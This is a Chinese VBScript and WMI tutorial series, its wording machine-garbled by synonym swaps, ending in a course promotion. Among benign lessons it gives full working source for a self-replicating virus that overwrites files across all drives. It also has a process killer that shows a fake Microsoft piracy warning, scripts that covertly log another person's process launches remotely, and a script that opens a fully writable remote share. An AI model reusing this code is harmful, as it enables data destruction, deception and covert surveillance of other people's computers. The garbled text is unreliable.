那么命名空间是做什么浸染的呢?我大略这样说,在同一段代码中,如果有两个变量或函数的名字完备相同,就会涌现冲突。命名空间便是为办理变量、函数的命名冲突而做事的。办理的办法便是将你的变量定义在一个不同名字的命名空间中。就彷佛财政局有个张三,公安局也有个张三,但我们清楚,便是由于他们分属不同的单位。有些地方可能不太准确,但大存问思便是这样了。
WMI的命名空间创建了一个层次构造,有点类似于我们的目录文件构造。
1、 root-作为所有其他名字的占位符;2、 root\default-与注册表操作有关的类;3、 root\security-与系统安全有关的类;4、 root\cimv2-从CIM派生的类,代表我们最常用的事情环境。
三、WMI的工具路径
WMI的工具路径用来在CIM库中定位类和它的事例,工具路径用两个反斜杠\\开头,第一个元素是目标打算机的名字,第二个元素是相应的WMI命名空间,第三个元素是相应的类名,并用 : 将它与命名空间分别隔来。例如:\\..\root\cimv2:win32_service
个中那个 . 代表是本地系统。
四、WMI的查询措辞——WQL仅仅是ANSI SQL的一个子集,只能用于数据的提取。
数据、事宜查询的基本语法为:
Select pro1 , pro2 , pro3 from myclass(myclassevent)
例如:Select name , path from Win32_share 解释:列出所有共享的名称和路径
也可以利用通配符 ,例如:Select from Win32_share
关键字Where 用于限定查询的范围。
例如:Select from Win32_share where name="Admin"
五、WMI脚本中利用的三个步骤
步骤 1:连接到 WMI 做事
在任何 WMI 脚本中,第一个步骤都是建立一个到目标打算机上的 Windows 管理做事的连接。方法是调用 VBScript 的 Getobject 函数并将 WMI 脚本库的名字工具的名称(即"winmgmts:",后跟目标打算机的名称)通报到 Getobject,并返回一个工具的引用,此时,您就可以调用其供应的方法如:InstancesOf,正如方法名所示,InstancesOf 返回由资源的类名标识的托管资源的所有实例。
步骤 2:检索 WMI 托管资源的实例
一样平常采取WQL来实现。
步骤 3:显示 WMI 托管资源的属性
末了一个步骤是列举 检索得到凑集的内容。一样平常采取
For each enum in myclass
……
Next 构造来实现。
六、WMI 测试器 (wbemtest.exe)验证脚本实行结果
现在,您对可用于浏览和查看 CIM 的工具已经有了一些认识,让我们利用 WMI 测试器 (wbemtest.exe) 来检讨 Win32_Process 类定义,以便从在您确当地皮算机上运行的进程检索一些属性。
1.打开一个命令提示,键入 C:\>wbemtest.exe,按下 Enter 来开始 WMI 测试器工具。请把稳,大部分按钮在主 WMI 测试器窗口上是被禁用的,这解释此时您没有连接到 WMI。
2.单击 "连接"按钮 连接到本地或远程打算机上的 WMI 做事。显示"连接"对话框,它供应一个标记为 名称空间 的文本输入区域,该区域默认值为 root\default。将 名称空间 区域的值变动为 root\cimv2,单击"连接"对话框的 连接 按钮返回到主 WMI 测试器窗口。
3.主窗口中左上角的命名空间标识符该当显示为 root\cimv2。请把稳,所有的按钮现在都已启用,这解释在当前凭据环境下,您已经成功连接到本地主机上的 WMI。单击 列举种别 打开"超类信息"对话框。
4.在"超类信息"对话框中,不要填写 输入超种别号称 区域,单击 递归 选项,单击 确定 以列举 root\cimv2 名称空间中定义的所有 CIM 类。
请把稳,列于"查询结果"对话框顶部的类因此两个下划线为开头的。这些是系统类。系统类是预定义的 CIM 类,支持内部 WMI 配置与操作,例如供应程序注册、命名空间安全性及事宜关照等。现在,忽略系统类,向下滚动"查询结果"对话框直至看到以 CIM_ 开头的类。名称以 CIM_ 开头的类是由 DMTF 掩护的核心与公共基类。连续向下滚动直至到达以 Win32_ 开头的类。 名称以 Win32_ 开头的类是 Microsoft 扩展类,表示 Windows 特定的托管资源。如果这是您第一次检讨 root\cimv2 命名空间,您可能希望熟习root\cimv2 命名空间中的类的完全凑集,尤其是有 Win32_ 前缀的类。
5.向下滚动"查询结果"对话框直至到达 Win32_Process 类,双击该类名打开 Win32_Process 对话框的工具编辑器。
6."工具编辑器"对话框显示当选定类的定义和实现的详细信息(属性和方法)。选择 Hide System Properties 复选框隐蔽系统属性。剩余的 Win32_Process 属性表示您可以从在本地或远程打算机上运行的进程检索的信息。
运行如下代码:
strComputer = "." Set wbemServices = Getobject("winmgmts:\\" & strComputer)Set wbemObjectSet = wbemServices.InstancesOf("Win32_Process")For Each wbemObject In wbemObjectSet WScript.Echo "Name: " & wbemObject.Name & vbCrLf & _ " Handle: " & wbemObject.Handle & vbCrLf & _ " Process ID: " & wbemObject.ProcessIDNext
7.在运行脚本之后,您可以用 WIMI 测试器验证脚本的结果。在 Win32_Process 对话框的工具编辑器中,单击 Instances。产生的查询结果对话框列出在打算机上运行的进程的实例。双击一个指定的进程实例,查看该实例的详细信息。
Vbs脚本编程简明教程之十三——2
WMI根本之二—阻挡客人运行你不想运行的程序
很多人都有这样的履历,刚刚装好的系统,让人运行了一些你不想他运行的程序,比如说QQ,又是谈天,又是下载表情,不过一会,泼皮插件、病毒、木马已经盘踞了你的打算机,常常是忍痛将这个程序卸载,可是不知情的人很自觉的下载安装,使全体系统无法正常运行。
其实用vbs和wmi结合起来,使你的打算机上有相应的程序安装,别人又无法运行起来太随意马虎了,现在给出代码:
On Error Resume Next '忽略所有的缺点Dim bag,pipe,honker,good Do good="." '定义为本地打算机set bag=getobject("winmgmts:\\"& good &"\root\cimv2") 'l连接到cimv2命名空间set pipe=bag.execquery("select from win32_process where name='qq.exe' or name='qqgame.exe' or name='winmine.exe'") '看,这是我的打算机上不许可运行的程序,qq、qqgame、winmine(扫雷)如果你还有其他的程序不许可运行,很大略,在个中添加 or name='你不许可运行的程序名'for each i in pipei.terminate() msgbox "创造盗版系统,现已进行功能限定!
" & vbcrlf & "请利用正版软件!
",,"微软提示" '此行实在可有可无,有这行只是为了免去疑惑next wscript.sleep 60000 '每1分钟检测一次loop
那么如果我自己想运行这些程序该怎么办呢,很大略,Ctrl+Alt+Del三个键齐按,打开windows任务管理器,在进程中结束Wscript.exe和wmiprvse.exe进程的运行就可以了
Vbs脚本编程简明教程之十四
利用dictionary工具
VBS中存在一个分外的工具-dictionnary,是一个凑集工具。一样平常情形霞,我把这个分外的凑集想象为数组,可以利用个中内建的函数完成存储和操纵数据等基本任务,无须担心数据是在哪些行列,而是利用唯一的键进行访问或者是一个只能运行在内存中的数据库,并只有两个字段分别是:key和item,在利用中,字段key是索引字段。
set sdict=CreateObject("Scripting.Dictionary")sdict.add "a","apple"sdict.add "b","banana"sdict.add "c","copy"for each key in sdict.keysmsgbox "键名" & key & "是" & " = " & sdict (key)nextsdict.removeall
这个脚本很大略,便是定义了一个 dictionary 工具的实例sdict,并加入了三条数据,然后对每一条数据进行了列举,末了,将工具的实例清空。
Dictionary 工具的成员概要
属性息争释
CompareMode 设定或返回键的字符串比较模式Count 只读。返回 Dictionary 里的键/条款对的数量Item(key) 设定或返回指定的键的条款值Key(key) 设定键值
方法息争释
Add(key,item) 增加键/条款对到 DictionaryExists(key) 如果指定的键存在,返回 True,否则返回 FalseItems() 返回一个包含 Dictionary 工具中所有条款标数组Keys() 返回一个包含 Dictionary 工具中所有键的数组Remove(key) 删除一个指定的键/条款对RemoveAll() 删除全部键/条款对Vbs脚本编程简明教程之十五——1VBS内置函数之一Abs 函数:返回数的绝对值。 Array 函数:返回含有数组的变体。 Asc 函数:返回字符串首字母的 ANSI 字符码。 Atn 函数:返回数值的反正切。 CBool 函数:返回已被转换为 Boolean 子类型的变体的表达式。 CByte 函数:返回已被转换为字节子类型的变体的表达式。 CCur 函数:返回已被转换为货币子类型的变体的表达式。 CDate 函数:返回已被转换为日期子类型的变体的表达式。 CDbl 函数:返回已被转换为双精度子类型的变体的表达式。 Chr 函数:返回与指定的 ANSI 字符码干系的字符。 CInt 函数:返回已被转换为整形子类型的变体的表达式。 CLng 函数;返回已被转换为Long子类型的变体的表达式。 Cos 函数:返回角度的余弦。 CreateObject 函数:创建并返回对"自动"工具的引用。 CSng 函数:返回已被转换为单精度子类型的变体的表达式。 CStr 函数:返回已被转换为字符串子类型的变体的表达式。 Date 函数:返回当前系统日期。 DateAdd 函数:返回的日期已经加上了指定的韶光间隔。 DateDiff 函数:返回两个日期之间的间隔。 DatePart 函数:返回给定日期的指定部分。 DateSerial 函数:返回指定年月日的日期子类型的变体。 Datevalue 函数:返回日期子类型的变体。 Day 函数:返回日期,取值范围为 1 至 31。 Eval 函数:打算表达式并返回结果。 Exp 函数:返回 e (自然对数的底) 的多少次方。 Filter 函数:根据指定的筛选条件,返回含有字符串数组子集的、下限为 0 的数组。 Fix 函数:返回数的整数部分。 FormatCurrency 函数:返回的表达式为货币值格式,其货币符号采取系统掌握面板中定义的。 FormatDateTime 函数:返回的表达式为日期和韶光格式。 FormatNumber 函数:返回的表达式为数字格式。 FormatPercent 函数:返回的表达式为百分数(乘以 100)格式,后面有 % 符号。 GetObject 函数:返回从文件对"自动"工具的引用。 GetRef 函数:返回对能够绑定到一事宜的过程的引用。 Hex 函数:返回一字符串,代表一个数的十六进制值。 Hour 函数:返回表示钟点的数字,取值范围为 0 至 23。 InputBox 函数:在对话框中显式一提示,等待用户输入文本或单击按钮,并返回文本框的内容。 InStr 函数:返回一个字符串在另一个字符串中首次涌现的位置。 InStrRev 函数;返回一个字符串在另一个字符串中涌现的位置,但是从字符串的尾部算起。VBS内置函数之二Int 函数:返回数的整数部分。 IsArray 函数:返回 Boolean 值,反响变量是否为数组。 IsDate 函数:返回 Boolean 值,反响表达式能否转换为日期。 IsEmpty 函数:返回 Boolean 值,反响变量是否已被初始化。 IsNull 函数:返回 Boolean 值,反响表达式是否含有无效数据(Null)。 IsNumeric 函数:返回 Boolean 值,反响表达式能否转换为数字。 IsObject 函数:返回 Boolean 值,反响表达式是否引用了有效的"自动"工具。 Join 函数:返回通过连接许多含有数组的子串而创建的字符串。 LBound 函数;返回指定维数数组的最小有效下标。 LCase 函数:返回的字符串已被转换为小写字母。 Left 函数:返回字符串最左边的指天命量的字符。 Len 函数:返回字符串中的字符数或存储变量所需的字节数。 LoadPicture 函数:返回图片工具。只用于 32 位平台。 Log 函数:返回数的自然对数。 LTrim 函数;返回去掉前导空格的字符串。 Mid 函数:从字符串中返回指天命量的字符。 Minute 函数:返回分钟数,取值范围为 0 至 59。 Month 函数:返回表示月份的数,取值范围为 1 至 12。 MonthName 函数:返回表示月份的字符串。 MsgBox 函数:在对话框中显示,等待用户单击按钮,并返回表示用户所击按钮的数值。 Now 函数:返回打算机确当前系统日期和韶光。 Oct 函数:返回表示该数八进制数值的字符串。 Replace 函数:返回一字符串,个中指定的子串已被另一个子串更换了规定的次数。 RGB 函数:返回代表 RGB 颜色值的数字。 Right 函数:返回字符串最右边的指天命量的字符。 Rnd 函数:返回随机数。 Round 函数:返回指定位数、四舍五入的数。 RTrim 函数:返回去掉尾部空格的字符串副本。 ScriptEngine 函数:返回反响利用中的脚本措辞的字符串。 ScriptEngineBuildVersion 函数:返回利用中的脚本引擎的编译版本号。 ScriptEngineMajorVersion 函数:返回利用中的脚本引擎的主版本号。 ScriptEngineMinorVersion 函数:返回利用中的脚本引擎的次版本号。 Second 函数:返回秒数,取值范围为 0 至 59。VBS内置函数之三Sgn 函数:返回反响数的符号的整数。Sin 函数:返回角度的正弦值。Space 函数:返回由指天命量的空格组成的字符串。Split 函数:返回下限为 0 的、由指天命量的子串组成的一维数组。Sqr 函数:返回数的平方根。 StrComp 函数:返回反响字符串比较结果的数值。String 函数:返回指定长度的重复字符串。StrReverse 函数:返回一字符串,个中字符的顺序与指定的字符串中的顺序相反。Tan 函数:返回角度的正切值。Time 函数:返回表示当前系统韶光的"日期"子类型的"变体"。Timer 函数:返回时经子夜 12:00 AM 后的秒数。TimeSerial 函数:返回含有指定时分秒韶光的日期子类型的变体。Timevalue 函数:返回含有韶光的日期子类型的变体。Trim 函数:返回去掉前导空格或尾部空格的字符串副本。TypeName 函数:返回一字符串,它供应了关于变量的变体子类型信息。UBound 函数:返回指定维数数组的最大有效下标。UCase 函数:返回的字符串已经被转换为大写字母。VarType 函数:返回标识变体子类型的数值。Weekday 函数:返回表示星期几的数值。WeekdayName 函数:返回表示星期几的字符串。Year 函数:返回表示年份的数值。vbs病毒的大略例子源代码解析
解释:作者对某些代码进行了修正。该文件是一个完全的程序。该文件实行之后,会探求硬盘上所有知足条件的文件,对其进行逼迫性覆盖(知足条件的文件数据将全部丢失)、并再创建一个相同文件名但后带.vbs的文件。因此,请把稳设立好毁坏测试条件,千万不要对他人进行测试,否则,统统后果自大。
dim folder,fso,foldername,f,d,dc set fso=createobject("scripting.filesystemobject") set self=fso.opentextfile(wscript.scriptfullname,1) vbscopy=self.readall '读取病毒体,以备复制到文件 self.close set dc=fso.Drives for each d in dc if d.drivetype=3 or d.drivetype=2 then '检讨磁盘类型 wscript.echo d '弹出窗口,显示找到盘符 scan(d) end if next lsfile=wscript.scriptfullname '该脚本程序路径 set lsfile=fso.getfile(lsfile) lsfile.delete(true) '病毒运行后自我删除(本人自加,爱虫病毒本身没有该代码) sub scan(folder_) on error resume next set folder_=fso.getfolder(folder_) set files=folder_.files for each file in files ext=fso.GetExtensionName(file) '获取文件后缀 ext=lcase(ext) '后缀名转换成小写字母 if ext="mp5" then '如果后缀名是mp5,当然不存在这种文件,这里可以自己修正,但是把稳。请自己建立相应后缀名的文件,最好是非正常后缀名 set ap=fso.opentextfile(file.path,2,true) ' ap.write vbscopy '覆盖文件,慎用 ap.close set cop=fso.getfile(file.path) cop.copy(file.path & ".vbs") '创建其余一个病毒文件 ' file.delete(true) '删除原来文件 end if next set subfolders=folder_.subfolders for each subfolder in subfolders '搜索其他目录 scan(subfolder) next end sub
Vbs脚本编程简明教程补充读物-初窥WMI
本日,我将给大家先容个朋友,它便是Microsoft Windows Management Instrumentation (WMI)。中文名字叫Windows管理规范。从Windows 2000开始,WMI(Windows 管理规范)就内置于操作系统中,并且成为了Windows系统管理的主要组成部分。以是大家很随意马虎就能见到它的,由于我们至少也该当是个Windows 2000的利用者了。下面我将详细先容它的每个细节,让你从不认识它到喜好上它。
WMI能做什么?
WMI不仅可以获取想要的打算机数据,而且还可以用于远程掌握。远程掌握打算机可是大家都喜好的东西。很多远程监视掌握类软件常日的做法是:在远程打算机上运行做事端后台程序,在本地打算机上运行一个客户器端掌握程序,通过这二个程序的勾结来实现对打算机的远程掌握。这种作法的缺陷是十分明显的,当做事端程序关了,这种远程监控就无法实现了,由于没有内线了。而WMI实现的远程监视和掌握完备不须要其余装什么做事真个东西,系统默认就将WMI做事给开了。详细说来,WMI的本领如下:
1.获取本地和远程打算机的硬件软件信息。2.监视本地和远程打算机的软件和做事等运行状况。3.掌握本地和远程打算机的软件和做事运行。4.高等运用。
如何访问WMI?
当我们知道WMI的某些本领后,我们已经很想知道如何认识他并利用他了。利用WMI有许多路子,大略说来有三种了:
1.通过微软给我们供应的各种工具来实现普通查询和操作。紧张包括命令提示符下面的WMIC,还有便是微软给我们供应的WMI TOOL,大家可以到微软的网站上免费下载,当然我也可以给大家免费供应。
2.通过自己编写脚本来实现更灵巧操作。要想真正灵巧实用,对WSH脚本的熟习是必须的,当然如果你不熟习也没有关系,稍后我会给大家详细阐明的。
3. 通过编写我们自己的程序来访问并操作它。什么措辞都行。如果用.NET类程序要大略些了,如果用VC等要繁芜些了,最少我是这么认为的。
4.还有个访问它的方法,便是到它的一个巢穴。在C:\WINDOWS\system32\wbem目录中的东西都和它有密切联系,有日志和各种工具,在里面你可以找到很多答案的。不过这些东西一样平常都不适宜我们新手玩了,觉得有点吓人。
我们本日的任务?
本日我们的任务有五个:
任务一:利用WMIC列出远程打算机上的所有进程。任务二:利用WMIC关闭本地进程。任务三:通过WMIC把远程主机的进程信息保存在一个网页中任务四:利用脚本实时监视对方进程任务五:利用脚本给对方开放共享
查看和监视进程,还要把进程给杀掉,末了还要给对方开个共享,我们这位朋友快把坏事做尽了。明白了我们的任务,我们就可以上路了。这次我们将紧张借助WMIC和脚本来实现我们的任务,以是我们将紧张分为两大部分来讲解。在五个任务的实战中我们将更加深入地理解它,没有根本没有关系,我将尽力去阐明所有的所谓的根本,让大家能很轻松地和这位朋友互换。
第一部分:利用WMIC来认识WMI
WMIC是Windows Management Instrumentation Commandline的简称,WMIC扩展WMI,供应了从命令行接口和批命令脚本实行系统管理的支持。为WMI名称空间供应了一个强大的、友好的命令行接口。有了WMIC,WMI就显的民平易近了。
实行"WMIC"命令将启动WMIC命令行环境。第一次实行WMIC命令时,Windows首先要安装WMIC,然后显示出WMIC的命令行提示符。在WMIC命令行提示符上,命令将以交互的办法实行。如果你不知道该如何和它交互,请敲个"/?",细细看完备部的解释,你就知道了。WMIC也可以按照非交互的模式运行。如果要实行某个单步的任务,或者运行批命令中的一系列WMIC命令,非交互模式就很有用。要利用非交互模式,只要在同一个命令行上启动WMIC并输入要实行的命令就可以了。
1.任务一:利用WMIC列出远程打算机上的所有进程
这是一个实现起来很大略的任务,和你用一个DOS命令一样大略,由于我们要循规蹈矩嘛,以是安排了这么一个热身任务。在命令提示符下敲入下面的命令,我们将看到。
WMIC /node:192.168.1.2 /user:net process
讲授:
1)上面命令中的NODE和USER是全局开关。如果你不愿意其余输一次密码,你也可以用PASSWORD开关,后面写上密码就可以了(WMIC /node:192.168.1.2 /user:net /password:password process)。千万要把稳,这里的用户名和密码都必须是管理员级别的,其它的无效。WMIC供应了大量的全局开关、别名、动词、命令和丰富的命令行帮助增强用户接口。全局开关是用来配置全体WMIC会话的选项。
2)Process是个别名,实行了一个Win32_process类的WQL查询,至于说是WMI的类是什么东西,感兴趣的就自己找资料多多理解,如果你很
3)如果你乐意,你可以在该后面加上个动词等,比如 LIST FULL等(如:WMIC /node:192.168.1.2 /user:net /password:password process),这样你就看得更清楚了。
小提示:安装了WMIC的机器可以连接到任何一台安装了WMI的机器,被连接的机器不须要安装WMIC。
2.任务二:利用WMIC关闭本地进程
实行下面的命令将关闭正在运行的QQ。我比较胆小,以是不敢关别人的QQ,只能拿我的QQ试验了,如果你的智商还够用的话,胆子比较大的话,你很快就会去关别人的了。
WMIC
process where name="qq.exe" call terminate
讲授:
1)这次我们是用交互式的方法来实行任务,详细界面我就不多说了,图上画的比我说的好多了。
2)Call也是个动词,这个动词可是厉害了,掌握类的没有不用它的,它便是可以调用各种类的各种方法的大将。这里我们调用了terminate方法。从字面上你就可以看出是恶狠狠的。
3)Where能够让你查询和筛选。在超级多的实例中找到你想要的。实例便是指每个类的详细实现了。前面的例子中看到的各个进程都分别算是WIN32_PROCESS中的一个实例。
3.任务三:通过WMIC把远程主机的进程信息保存在一个网页中
这个任务和任务一中的大致相同,是任务一的加强。在任务一中信息以文本的形式显示出来了。实在除了文本形式的输出之外,WMIC还能够以其他形式返回命令实行结果,例如XML、HTML或者CSV(逗号分隔的文本文件),如图3所示。我们可以敲入下面的命令:
wmic /output:C:\1.html /node:192.168.1.2 /user:net process list full /format:hform.xsl
输入密码 :
阐明:
1)全局开关OUTPUT指明将这些信息保存在什么地方。
2)全局开关FORMAT指明了用什么样的格式,至于说有那些格式可以用,你可以参看C:\WINDOWS\system32\wbem目录中的.xsl文件,你乃至不用管它们从哪里来的,用便是了。挨着看看,一定可以找到你喜好的。
第二部分:利用脚本来认识WMI
命令提示符的工具确实好用,但是却显示不出我们是高手,高手都是能利用程序来实现目的的。下面我们就开始用脚本来实现我们的任务,功能将更加强大,操作将更加灵巧。
无论脚本还是真正意义上的程序,要检索 WMI 托管资源信息进而查询并利用WMI,都须要遵照以下三个步骤的。
1.连接到 WMI 做事。建立一个到目标打算机上的 Windows 管理做事的连接。2.检索 WMI 托管资源的实例。紧张取决于要实行的任务。3.显示WMI 某实例属性和调用其方法。
1.任务四:利用脚本实时监视对方进程
在任务一和任务三中我们都是在查看对方的进程,出来的结果对我们意义不是很大,在这个任务中我们要从现在开始每当他开一个任务我们就察觉到,并把它记录下来。我们要在他开进程的那一秒开始报告并记录,我们要清楚他所开的程序所在的位置,我们要比他更清楚地知道这些信息。
现在我们就按照前面提到的三个步骤来实现任务。
首先,我们连接到对方的WMI。在这里我们首先调用 VBScript 的中的Createobject()来得到一个工具,然后利用这个分外的工具的方法来连接到远程的打算机上。这个分外的工具便是wbemscripting.swbemlocator。
set olct=createobject("wbemscripting.swbemlocator")set wbemServices=olct.connectserver(strComputer,"root\cimv2",strUser,strPwd)
把稳个中的strComputer便是你所要连接的打算机的名称或者IP地址,strUser,strPwd当然便是用户名和密码了,我们说过这个用户必须是具有管理员权限的才可以。root\cimv2是WMI的命名空间,关于WMI的命名空间,大家可以到"打算机管理\WMI控件"中看到,这里面的学问就大了,得逐步琢磨,为了我们的任务快速实现,我就不多阐明了。用这种方法连接到WMI,返回一个对SWbemServices工具的引用,一旦有一个对 SWbemServices工具的引用。我们就可以进行第二个步骤了。
在第二个步骤中,我们将得到WMI 托管资源的实例,我们利用WbemServices中的一个方法ExecNotificationQuery可以查询我们所要的类,进而可以得到该类中实例。
Set colMonitoredProcesses = wbemServices. _ ExecNotificationQuery("select from __instancecreationevent " _ & " within 1 where TargetInstance isa 'Win32_Process'")
把稳这里有个类似于SQL措辞的查询措辞,这里叫做WQL措辞,懂SQL的一看就明白了,不懂的就在网上找找它的资料,满天都是。得到的colMonitoredProcesses是所查询的类的实例的凑集。有了这些我们的第三个步骤就可以开始了。
在第三个步骤中,我们将显示出得到的实例中的属性。刚才我们得到的是实例的凑集,在这里我们通过colMonitoredProcesses.NextEvent来获取每一个详细的实例,得到每一个详细的实例后,我们就可以显示出他们的属性,也便是我们想看的东西了。这里我们显示了CommandLine的属性值。
到现在你是否有些迷惑了,由于你还不知道到底WMI里面有那些类,详细类又有哪些属性,呵呵,没有关系的,用一些工具可以很轻松的得到这些信息。比如系统自带的wbemtest,在运行中敲入这个程序名,你就可以看到这些了,它也遵照连接、查询、列举这三个步骤。自己逐步玩吧,很快你就会创造WMI太大了,单是命名空间就有10多个,然后单是我们常用的空间root\CIMV2里面就有近1000个类,每个类里面又有好多的属性,有些类还有好多方法。哈哈,头晕了吧?没紧要,实在你只须要知道个中的一些就好了。
看到这些估计你的头已经很大了,但是恭喜你,我们的这个任务已经完成了,是的,便是这么大略,下面我将完全代码奉献出来。
Set colArgs = WScript.ArgumentsIf WScript.arguments.count < 3 thenWScript.Echo "USAGE:" & vbCrLf & " Monitor Computer User Password files"WScript.quitEnd IfstrComputer = wscript.arguments(0)strUser = wscript.arguments(1)strPwd = wscript.arguments(2)strFile = wscript.arguments(3)set olct=createobject("wbemscripting.swbemlocator")set wbemServices=olct.connectserver(strComputer,"root\cimv2",strUser,strPwd)Set colMonitoredProcesses = wbemServices. _ ExecNotificationQuery("select from __instancecreationevent " _ & " within 1 where TargetInstance isa 'Win32_Process'")i = 0Do While i = 0Set objLatestProcess = colMonitoredProcesses.NextEventWscript.Echo now & " " & objLatestProcess.TargetInstance.CommandLineSet objFS = CreateObject("Scripting.FileSystemObject")Set objNewFile = objFS.OpenTextFile(strFile,8,true)objNewFile.WriteLine Now() & " " & objLatestProcess.TargetInstance.CommandLineobjNewFile.CloseLoop
到这个程序的核心了吧?相信你已经懂了个中的很多,剩余的部分代码我稍后阐明。我们先来感性认识一下,先看它该怎么用吧!
把上面的代码拷贝到记事本中,然后保存为monitor.vbs的文件,然后在命令提示符下输入:
CSCRIPT monitor.vbs
回车,你就会看到帮助,下面举例解释这个脚本的详细用法:
CSCRIPT monitor.vbs 192.168.1.2 user password C:\1.txt
在命令提示符下敲入上面的命令就OK了,每当对方开一个程序的时候,你就可以看到韶光,程序路径和程序名。如果你没有韶光去看这些信息,你还可以等有韶光的时候到C:\1.txt看到这些信息。
小知识:
每次利用脚本,都必须敲入CSCRIPT和脚本的后缀名,很麻烦。这是由于系统默认的实行引擎是WSCRIPT,可以将它改成CSCRIPT。其余一个让人不爽的是脚本实行后总要显示微软的解释,彷佛脚本不是我们写的一样。不过你可以通过在命令提示符下敲入下面的命令来办理这个问题:
cscript //nologo //h:cscript //s
这样你往后再运行这些脚本的时候就不用在敲入CSCRIPT了,也不用在写入.vbs的后缀名了,就上面的例子来说,你可以这样用:
monitor 192.168.1.2 user password C:\1.txt
阐明:
1)前面的那几行,大概便是为了显示帮助和处理我们在后面输入的参数。运用到了WScript.Arguments这个工具,利用它我们可以来获取并处理脚本的参数。
2)那个去世循环是为了让我们一贯监视他(她),每当他开一个程序,我们就得到一个新的实例,我们就可以知道他更多的信息,哈哈,够狠吧。这样你也就知道了,当我们这个脚本运行后,只有通过我们人为中止才能中断监视,人为中止的方法大家可以用CTRL+C来完成,也可以用各种野蛮的方法来中止。
3)在代码中涌现的其余一个核心工具便是FileSystemObject,该当是大家的老朋友了吧,我这里就不再做阐明了,我们在这里运用它紧张是为了将结果同时保存到一个文件中,我们利用它来创建或打开一个文件,将信息追加进去。
4)至于那个NOW,虽然体积很小,但是却正是它给我们供应了韶光这个主要的信息。
5)如果你想要监视的是自己的打算机而不是远程的打算机(据我所知,这个运用还是很广的)。那么请将打算机名的参数写为一个小点,用户名和密码留为空。如下所示:
monitor . "" "" C:\1.txt
2.任务五:利用脚本给对方开放共享
有了任务四的根本,这次我们就先看代码吧:
Set colArgs = WScript.ArgumentsIf WScript.arguments.count < 5 thenWScript.Echo "USAGE:" & vbCrLf & " Rshare Computer User Password SharePath ShareName"WScript.quitEnd IfstrComputer = wscript.arguments(0)strUser = wscript.arguments(1)strPwd = wscript.arguments(2)strPath = wscript.arguments(3)strShareName = wscript.arguments(4)intMaximumAllowed = 1strDescription = "Temporary share"Const SHARED_FOLDER = 0set olct=createobject("wbemscripting.swbemlocator")set wbemServices=olct.connectserver(strComputer,"root\cimv2",strUser,strPwd)Set objSWbemObject = wbemServices.Get("Win32_Share")intReturnvalue = objSWbemObject.Create(strPath, _strShareName, _SHARED_FOLDER, _intMaximumAllowed, _strDescription)if(intReturnvalue = 0) ThenWScript.Echo "The share have been created successfully"End If
讲授:
1)我们可以看出来前面的那几行是为显示帮助和处理输入参数而存在的。
2)紧接着设置了几个变量,为往后做参数用的。这里我们可以先不理会它。
3)连接到主机的WMI,然后便是查询。前面已经说的很详细了。
4)这次得到实例集后,我们用了它的一个方法,也便是这个方法让共享成为了可能,联系到第二部分的内容,我们不难知道第一个参数表示要共享的路径和文件名,第二个参数表示共享名,第三个参数为0就可以了,第四个参数是指可以连接的人数,第五个参数是共享描述了,而我们只关心前面的两个参数。如果手头有MSDN那就好办了,到MSDN中可以查到该方法的更详细的内容。
5)这次我们根据第四步的返回值来得到共享是否成功,并给出提示。不同的返回值代表不同的意义。这个信息在MSDN中可以很清楚地查到。比如0代表成功返回,2代表谢绝访问,9代表用户名缺点,25代表主机名没有找到等等。
6)这次我们要把稳的是,用这个脚本来实现远程文件共享,哀求远程存在这个文件,否则无法共享。当然你也可以利用教本创建自己的文件夹,很随意马虎的,自己创建吧。
7)如上脚本创建后的共享是完备共享。便是可以删除修正文件的。
8)用法举例:share netp net swswsw C:\dodo marsh
好了,到现在为止,大家该当对这位朋友有些理解了,我的先容任务也就告一段落了,如果大家想进一步认识它,那就紧张靠大家的主动性了。这次我们紧张通过WMIC和脚本来认识它,下次我将带领大家通过真正的程序代码来认识它,让它也有个象Windows一样俊秀的脸蛋。本日我所提到的估计只能算是WMI的万分之一,都算不上是冰山一角。剩余的要靠自己来发挥了。如果你肯利用你的所学,那么奇迹就会产生。
当然如果想学好vbs就要查看一些资料:
这里推举两个先容根本函数的地址,然后大家可以多看下别人的代码,多练习,多写。
末了,
整理了一套最新的python系统学习教程,
想要这些资料的可以关注私信小编“01”即可(免费分享哦)希望能对你有所帮助